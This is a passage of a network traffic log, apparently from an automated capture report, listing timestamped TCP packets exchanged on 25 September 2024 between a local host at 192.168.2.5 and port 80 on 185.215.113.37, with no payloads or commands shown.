Sep 25, 2024 21:51:58.214842081 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.214848995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.214859962 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.214869976 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.214885950 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.214895964 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.214907885 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.214925051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.214926958 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.214947939 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.214962006 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.214998007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.215750933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.215764999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.215795040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.215805054 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.215809107 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.215831995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.215837955 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.215852976 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.215864897 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.215866089 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.215887070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.215890884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.215898991 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.215909958 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.215933084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.215955973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.216708899 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.216722012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.216743946 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.216758013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.216764927 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.216782093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.216800928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.216811895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.216811895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.216814995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.216835976 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.216836929 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.216837883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.216850996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.216869116 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.216886044 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.217415094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.217442036 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.217454910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.217468023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.217488050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.217500925 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.217508078 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.217508078 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.217524052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.217539072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.217545986 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.217562914 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.217565060 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.217582941 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.217595100 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.217609882 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.217612982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.217626095 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.217653036 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.218432903 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.218447924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.218473911 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.218483925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.218492985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.218497038 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.218507051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.218518019 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.218533993 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.218538046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.218548059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.218554974 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.218573093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.218575001 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.218590975 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.218591928 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.218614101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.218615055 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.218631029 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.218632936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.218656063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.218673944 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.219300985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.219320059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.219340086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.219352007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.219358921 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.219371080 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.219379902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.219393015 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.219413042 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.219417095 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.219430923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.219453096 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.219453096 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.219487906 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.270328045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.270368099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.270381927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.270447969 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.270486116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.270499945 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.270513058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.270524025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.270556927 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.270597935 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302144051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302229881 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302275896 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302313089 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302351952 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302392006 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302418947 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302464008 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302510023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302510977 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302556038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302561998 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302602053 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302603960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302644014 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302709103 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302753925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302802086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302839994 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302862883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302907944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302911043 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302947998 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302953005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.302994967 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.302999973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.303040981 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.303045988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.303086042 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.303253889 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.303298950 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.303314924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.303355932 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.303359032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.303400040 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.303468943 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.303514957 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.303565025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.303606987 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.303610086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.303653002 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.303654909 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.303698063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.303700924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.303744078 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304006100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.304049015 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304050922 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.304090977 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304096937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.304140091 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304141998 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.304187059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.304188967 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304235935 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.304235935 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304279089 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304280996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.304322958 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.304325104 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304366112 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304368973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.304409981 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304418087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.304461002 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304893017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.304938078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.304939032 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304979086 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.304982901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.305028915 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.305030107 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.305071115 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.305074930 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.305118084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.305120945 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.305161953 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.305166960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.305207968 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.305212021 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.305257082 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.305257082 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.305298090 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.305303097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.305346012 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306016922 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306062937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306067944 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306107998 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306111097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306154013 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306155920 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306195974 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306200981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306245089 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306246996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306288004 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306292057 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306333065 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306335926 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306379080 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306380987 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306422949 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306426048 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306466103 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306471109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306509972 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306727886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306772947 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306773901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306817055 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306818962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306860924 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306864023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306905985 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306910038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306950092 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.306956053 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.306997061 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.307001114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.307041883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.307045937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.307085991 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.307091951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.307137012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.307154894 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.307177067 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.307650089 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.307696104 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.307698965 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.307742119 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.307745934 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.307782888 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.307787895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.307828903 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.307832956 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.307873964 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.307878017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.307925940 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.307926893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.307966948 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.307971954 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.308012962 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.308017015 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.308058977 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.308063984 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.308104038 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.333616972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.333689928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.333734989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.333753109 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.333795071 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.333817005 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.333818913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.333861113 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.333863974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.333905935 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.333910942 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.333952904 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.333981037 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334022045 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.334153891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334199905 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.334222078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334274054 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.334283113 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334325075 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.334328890 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334368944 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.334373951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334414959 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.334572077 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334618092 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334635973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.334660053 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.334662914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334702969 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334705114 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.334744930 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.334748030 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334791899 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.334793091 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334835052 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.334841013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.334882021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.335119009 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.335164070 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.335166931 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.335208893 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.335211992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.335253000 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.335257053 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.335299015 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.335303068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.335345030 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.335347891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.335395098 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.335444927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.335490942 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.335666895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.335712910 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.335714102 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.335757971 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.478347063 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.478435993 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.478482962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.478526115 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.478529930 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.478527069 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.478573084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.478573084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.478580952 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.478629112 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.478645086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.478693008 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.478693962 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.478744984 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.478754997 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.478800058 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.478804111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.478857040 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:58.479073048 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.479119062 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:58.479127884 CEST	49704	80	192.168.2.5	185.215.113.37
